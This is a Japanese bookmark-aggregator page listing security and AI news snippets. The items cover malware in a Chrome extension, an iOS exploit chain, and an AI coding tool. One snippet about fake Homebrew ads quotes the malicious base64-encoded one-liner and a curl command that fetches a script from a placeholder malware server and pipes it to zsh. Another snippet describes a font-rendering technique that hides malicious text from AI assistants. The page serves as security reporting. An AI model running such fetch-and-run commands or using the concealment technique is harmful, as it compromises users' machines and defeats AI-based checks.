サクサク読めて、アプリ限定の機能も多数！
トップへ戻る
中東情勢
www.itmedia.co.jp
WebP形式の画像を右クリックするだけで、JPGやPNG形式で保存できる人気のChrome拡張「Save Image as Type」（日本語名「画像をJPG/PNG/WebPとして保存」）が3月中旬、「マルウェアを含む」としてgoogleに強制的に削除・無効化され、ユーザーが困惑している。 利用者数は100万人を超え、日本のユーザーも多かった拡張機能。「ずっと使っていたのに困る」という声が出た一方で、「AIで同じ機能のChrome拡張を自作した」という報告も相次いでいる。 「アフィリエイト横取り」マルウェア入り 「Save Image as Type」はもともと個人開発の無害なツールだった。扱いづらいWebp形式の画像を、JPGやPNGといった扱いやすい形式に簡単に変換して保存でき、世界で多くのユーザーが使っていた。 悪意あるコードの注入が発覚したのは24年後半。所有者の変更が関連してい
japan.zdnet.com
Mozillaが「Firefox」ブラウザーのユーザーを対象に、無料の仮想プライベートネットワーク（VPN）サービスの提供を開始する。 Mozillaは米国時間3月17日、「Firefox 149」のロールアウトに伴う今後のアップデートについて説明するブログ記事を公開し、その中で無料のVPNをFirefoxの全ユーザーに提供すると述べていた。 Firefoxの新しいVPNは信頼できるのか？ 非営利団体であるMozillaのFirefoxブラウザーは、プライバシーを重視した選択肢の1つとして知られている。Mozillaによれば、今回のVPNにもこれまでと同じデータ原則とプライバシー重視のアプローチが適用されるという。 ただし、独立機関による監査が行われるといった話は現時点で出ておらず、新しいVPNが本質的に安全かどうかは断言できない。それでも、既存のVPNサービスで重大なセキュリティ上の懸念
www.gizmodo.jp
大学生協で話題沸騰の｢pCloud｣は、HDDとクラウドのいいとこ取りだった2026.03.23 19:00Sponsored by pCloud International AG 小野寺しんいち 買い切り型クラウドストレージ｢pCloud｣が最大58%OFFになる桜満開セールを開催中！ 3月31日（火）まで ｢ストレージの使用容量が上限に達しました｣。 デバイスから非情にも放たれる、恐怖の通知。4K動画、高画素RAWデータ、そして増え続けるアプリ。私たちのデジタルライフは、常に"容量の壁"とのせめぎ合いです。 そんな切実なデータ管理の悩みを抱えているのは、私たちだけではありません。日々膨大な研究データや論文を扱う｢大学の先生たち｣も同じです。 しかし今、日本各地の大学の研究者たちの間で、急速に支持を集めているクラウドストレージがあるのをご存知でしょうか？ わずか数ヶ月で大ヒット！ 大学生
1password.com
Modern enterprises aren’t just adding employees; they’re adding subsidiaries, multiple teams, contractors, AI builders, temporary projects, and new SaaS tools every week. And every new addition to a company’s ecosystem also brings more credentials to manage. Unfortunately, not all of those credentials can be managed by solutions like single-sign-on (SSO) or privileged access management (PAM). Many
ascii.jp
sponsored ZEFT R67CTの魅力をインタビュー 光らず静かなゲーミングPCはいかが？Noctuaファン7基の超静音仕様でRyzen 7 9850X3D＆RTX 5070 Tiを安定運用 sponsored 「よく分からない」まま使うのが一番あぶない！ はじめてのPCで備えておきたい3つのリスク【2026年版】 sponsored 全自動化で「人材」「コスト」の課題をクリア、中小企業でも導入できる“第2世代EDR”FortiEDR 油断した中小企業、大手の取引先をランサムウェア感染させ取引停止に！ どうやったら防げた？ sponsored マウスコンピューターのゲーミングノート「G TUNE P5-I7G70WT-C（ホワイト）」が4万円オフのセール中 【ゲーミングノートが安い】165Hz対応WQHD液晶＋Core i7＋RTX 5070！ 性能文句なしな1台が買い！ spon
speakerdeck.com/kyoshidaxx
PHPerKaigi 2026 OAuthやOpenID Connectは、現代のWebアプリケーションで重要な役割を果たしていますが、これらの概念はしばしば誤解されがちです。 本セッションでは、これらの技術の基礎をしっかりと理解し、Laravelでの実装を通じて実践的な知識を得ることを目指します。…
blog.jxck.io
Intro Web サービスをデプロイする際に、CA から証明書を取得し HTTPS で暗号化するのが一般的となった。 かつては "SSL 証明書" として、メールでやり取りし有料で購入するのが常識だったが、自動/無料で取得することが増えた。かつては 5~10 年あった有効期限もどんどん短くなり、今では 6 日の証明書も発行されている。 このように、証明書を取り巻く変遷は目覚ましく、それは Web を取り巻く環境の劇的な変化を色濃く反映した結果と言える。 http:// が https:// になった裏で何が起こり、これからどうなっていくのか。まとめていく。 (極力ソースを付記するが、既に消えて WebArchive にも残っていないものも多く、筆者の記憶に頼る情報も多い。) 黎明期 (90 年代後半~2010 年頃) 90 年代の終わり頃、当時は TLS の前身にあたる SSL のデプロ
posfie.com
丸谷元人 @h_marutani これは本当にその通り。 ナイジェリアの石油施設で、 セキュリティ主任として勤務していた頃、 当時同国で暴れ回り、市民を殺しまくっていた 国際テロ組織「ボコハラム」が なぜ、あれだけ強力で、 高価な最新の兵器で重武装し、 ナイジェリア軍の動きを まるで手に取るように把握できるのかが とても不思議だったので、 徹底的に調査したことがあった。 資金源や武器、装備、使っている言語や 部族構成、宗教構成を調べ、 軍や武装警察、情報機関の人間とも 頻繁に接触して情報を集めた。 その当時、日本国内の一部専門家の見解は、 「イランがバックにいる」 というものであったが、 イランはシーア派で、 一方のボコハラムはスンニ派なので、 この説は最初から辻褄が合わなかった。 しかし私が調査したところ、 「イランの影」など全く見えず、 それどころか、 「西側の大国」 による秘密支援を
applech2.com
2026年02月後半頃から確認されているもよう Homebrew InstallのIssuesやdev.toでDavidさんが報告しているところによると、このスポンサー広告は2026年02月中旬から確認されているそうで、Hombrewコマンドのインストール方法やbrewコマンドの使い方(install/upgrade)をgoogleで検索すると表示され、開くとHomebrewのインストール方法を装い、外部サーバーからスクリプトをダウンロードさせ実行させるワンライナーコマンドがbase64エンコードされた状態で掲載されています。 echo 'ZWNobyAnSW5z...'|base64 -D|zsh echo 'Installing package please wait...' && curl -kfsSL http://[malware-server]/curl/[hash]|zsh
pc.watch.impress.co.jp
forest.watch.impress.co.jp
internet.watch.impress.co.jp
qiita.com/AI-SKILL-LAB
Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? AIが脆弱性を見つけて直す時代へ — OpenAI Codex Security の仕組みと実践的な向き合い方 はじめに — 「誰がセキュリティを見るのか」という問い Vibe Codingという言葉がエンジニアリングの世界に定着してしばらく経ちます。Claude CodeやCursor、GitHub Copilotといったツールを使えば、数百行のコードを数分で生成できる。それ自体はすごいことだし、開発速度が上がっているのは事実です。 ただ、ちょっと考えてみましょう。 コードが 10 倍のスピードで増えているとき、セキュリティレビューも
note.com/hayakawagomi
※来週中に有料マガジンに全編格納します。 どう考えてもAIに管理されたい人生だった。 以前、Raspberry PiにOpenClawを入れてAI執事を作った話を書いた。Fitbitの睡眠データを取ってきてくれたり、深夜に起きてたらたしなめてくれたり、それなりに便利に暮らしていた。 理由はシンプルで、なんか微妙に仕事ができない、融通が利かない。特に、私は開発系のことではなく秘書業務とか生活管理的な部分をお願いしていたので、なんとなくちょっと惜しい。多分OpenAIではなくClaudeのAPIを使用していたらもう少し使用感はいいと思うんだけど、コストがかなりかさむ。OpenAI APIでも1か月で7500円くらいかかった。セキュリティ周りもやや懸念が多く、つなぎこむものを制限していたので結局やれることも少ない。 そんな中で、ちょっと別件で上司から「Claude Coworkいろいろ使ってみて
www.yomiuri.co.jp
【読売新聞】 中国による大規模認知戦の実態を明らかにした読売新聞と新興企業「サカナＡＩ」（東京）による共同分析では、サカナＡＩ独自のＡＩ（人工知能）技術が用いられた。ＡＩが投稿の文脈から「論調」を読み取り、従来のキーワード検索では見
iphone-mania.jp
海外メディアの報道により、古いiOSを標的とする新たなエクスプロイトチェーン「DarkSword」の存在が明らかになりました。 Webサイトを閲覧するだけでiPhone内のデータが盗まれる可能性があり、最新のiOSにアップデートしていないユーザーは早急な対応が求められます。 DarkSwordとは？Corunaから続く攻撃の系譜 数週間前に報告された「Coruna」に続き、新たなiOS攻撃手法としてDarkSwordが確認されました。 DarkSwordは、複数のiOS脆弱性を組み合わせてiPhoneのカーネル（OSの中核部分）を完全に掌握する攻撃手法です。Coronaと手口は似ているものの、悪用するCVEの組み合わせが異なります。 Coruna発覚後、AppleはiOS15.8.7・iOS16.7.15を緊急リリースしていましたが、DarkSwordはその後も別の脆弱性を突いて継続してい
news.mynavi.jp
LayerX Securityは3月17日(現地時間)、「Poisoned Typeface: How Simple Font Rendering Poisons Every AI Assistant, And Only Microsoft Cares - LayerX」において、Webサイトに表示される悪意のあるテキストをAIから隠蔽する手法を発見したと報じた。 この手法はフォントの仕組みを悪用し、人間には正常に見える一方で、AIには意味不明な文字列として認識させるという特徴を持つ。この結果、ChatGPTやClaudeなど主要なAIツールによる検出はすべて失敗したとされ、ClickFix戦術などの攻撃成功率を高める可能性がある。 悪意のあるテキストをAIから隠蔽する手法が発見 Photo：PIXTA フォント改ざんで「表示」と「実体」を乖離させる この攻撃手法は文字のレンダリングに使用
xenospectrum.com
現代の計算機科学と物理学の交差点において、莫大な資金と最高峰の頭脳が注ぎ込まれている領域が量子コンピューティングだ。従来のシリコンベースの古典コンピュータでは宇宙の年齢ほどの時間を要する複雑な計算を、量子力学の奇妙な性質を利用して瞬時に解き明かすというビジョンは、世界中の政府や巨大テクノロジー企業を突き動かしてきた。インターネットの根幹を支える2048ビットRSA暗号の解読、未知の超伝導材料の発見、新薬開発の劇的な加速など、想定される応用範囲は計り知れない広がりを持っている。 この技術的熱狂に対し、理論物理学の最深部から一つの鋭い楔が打ち込まれた。オックスフォード大学名誉教授であり王立協会フェローでもあるTim Palmer氏が、米国科学アカデミー紀要（PNAS）に発表した最新の論文である。気候変動モデルやカオス理論の研究で世界的な評価を確立している同氏は、「Rational Quantu
github.blog
You can now receive Dependabot alerts when your repositories depend on npm packages with known malicious versions. When you enable malware alerting, Dependabot matches your npm dependencies against malware advisories in the GitHub Advisory Database. How it works Opt-in enablement: Enable malware alerting via a new toggle in your repository, organization, or enterprise security settings alongside y
Anthropicは2026年3月20日、AIコーディングツール「Claude Code」に新機能「Channels」を追加した。TelegramやDiscordを経由して外出先のスマートフォンからClaude Codeに指示を送り、タスク完了の通知をメッセージで受け取れるようになる。Claude Code v2.1.80以上とBun（JavaScriptランタイム）が必要で、現在はリサーチプレビューとして提供されている。 この発表は、機能の利便性だけが注目されているわけではない。AnthropicはオープンソースのAIエージェントフレームワーク「OpenClaw」のユーザーアカウントに制限をかけていた時期に並行して、同等の機能を自社製品として開発していたとみられる。OpenClawを利用していた開発者がChannelsの発表を見て「散々OpenClawを封じておいて、結局自分たちで同じも
次のページ
セキュリティ技術の人気エントリー
ITの新着エントリー
はてなブログ（テクノロジー）の新着エントリー
AI・機械学習の新着エントリー
プログラミングの新着エントリー
エンジニアの新着エントリー
blog.shibayu36.org
Claude Codeに実装させた後、毎回自分でコードレビューして突っ込みを入れるのが大変だった。そこで、実装後に自動でセルフレビューと修正をする仕組みを作ったので紹介する。 課題: Claude Codeで出力されたコードの品質が自分の基準を満たさない Claude Codeで一気に実装ができるようになった反面、出力されたコードの品質が自分の基準を満たさないことが多かった。そのため、変更のたびに毎回ツッコミを入れていて、かなりの手間がかかっていた。プランモードで事前にちゃんと設計したとしても、コードレベルでは満足いかないことが多かった。 じゃあサブエージェントやCodex CLIで先にレビューして直し切ってもらってから確認すれば良いのでは？と思ってやってみた。しかし、AIのレビュー指摘には的外れなものや過剰なものも混じるため、全部対応させるとかえってコードが散らかってしまうこともあった。
tech-blog.tabelog.com
はじめに：AIによる並列開発 食べログ 国内メディア開発部の相馬です。食べログの開発業務に携わっています。 私は現在、AIエージェント「Devin」を活用して、3〜4件の案件を並列で進めながら開発をしています。設計資料のたたき台作成やテストケースの洗い出しなど、以前は数時間かかっていた作業の初速が大幅に向上し、開発の進め方も大きく変わりました。 ただ、最初からこの状態だったわけではありません。 Devinを導入したとき、正直に言えば「魔法の杖」を手に入れたような感覚がありました。「これからはAIが開発を加速してくれる。タスクを渡せば勝手にいい感じに仕上げてくれるだろう」――そんな期待を抱いていました。 しかし、実際に使い始めてみると、期待どおりにはいきませんでした。曖昧な指示では意図と違うコードが生成され、手戻りが発生する。複数のタスクを同時に任せてみても、各セッション（Devinではタス
nou-yunyun.hatenablog.com
以前、ベトナム人が日本の政治系動画を作っているのではないかという記事を書いた。そしてそれよりも以前にはAIキャスターによる政治動画についても書いたのだが、このAIキャスターを用いた動画もどうやらベトナム人が作っている思われる間接的な証拠の様なものを見つけたのでここに書いておく。 まず「AIキャスター」なのだが、これは基本的には「フイ（huy）」と名乗る眼鏡の男性である。 https://www.youtube.com/watch?v=ZjSkbK9HASU 後述するがこの見た目以外のAIキャスターも数個存在するのだが、この見た目の男性を使用した動画の数とチャンネルが圧倒的だ。動画のフォーマットとしてはこの「フイ」なる人物が謎の背景と共に時折変な日本語表現も混ぜつつずっと喋っているという動画が大半で、テーマは政治、皇族関連が多い。しかしその内容はデタラメも多くて一桁再生もザラだが、しかし時に
www.seko-law.com
1.今日のテーマ 週末が見えてきた先週木曜日のお昼ごろ、以下のポストをしたところ多くのリアクションをいただきました。 今でもたまに見かけることがあるのですが、「AIへの個人情報の入力は禁止」みたいなルールはやめた方がいいですよ。 「個人情報」の正しい定義を理解していれば、その範囲が非常に広く、禁止なんてできるはずがないことがわかるはずです。守れないルールほど邪悪なものはない。 — 弁護士 世古修平 (@seko_law) March 19, 2026 いただいたコメントの中には、以下のように有識者の方々からの賛同の声も多く聞かれたのですが… たしかに2023-24頃に作成された社内AIガイドラインでは「個人情報は入力禁止」と定める例が多かった印象ですが、それだと実務用途が著しく限定されることから、現在は「一定のセキュリティ等の要件（基準適合体制含む）を満たすAIサービスであれば個人情報の入
はてなブログ（テクノロジー）の人気エントリーをもっと読む
このページを最初にブックマークしてみませんか？
『セキュリティ技術』の新着エントリーを見る
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
バッテリが48%長持ちするノートPC向け1～120Hz可変液晶、LGが世界初の量産開始
Notion、日本国内にデータ保管可能に エンタープライズ向け、追加料金なし
Devinで並列開発を実現した ～「魔法の杖」を使いこなすために必要だったこと～ - Tabelog Tech Blog
AIによる実装の品質が微妙で毎回自分で指摘しまくる必要があったので、確認前に自動で品質を上げさせるようにした - $shibayu36->blog;
AIキャスターを用いた架空の人物による政治、皇族系動画をベトナム人が作っているっぽい - 電脳塵芥
コロプラ、画像のAI学習を防ぐアプリ無料提供 サービス内でプロテクト→ユーザーのみ復元可能
Sakana AI
究極のマルチパラダイム次世代プログラミング言語Flix
「AIで競プロはオワコン」論は誤り？ AtCoder代表が語る、“揺るがない競プロの価値”【ちょくだい】 - レバテックLAB
NFCタグの使い方とWeb NFC API
レポート「全エンジニアがオンコール対応するGrafana Labsの開発組織と、オープンソーススタンダード」 #grafanaJP | DevelopersIO
SRE エンジニアが PMF 検証ツールを自作した理由 ── 可観測性思考をプロダクト開発に持ち込む
VS Codeチームは週次リリースをどう実現したのか AIエージェント活用で見えた6つのポイント
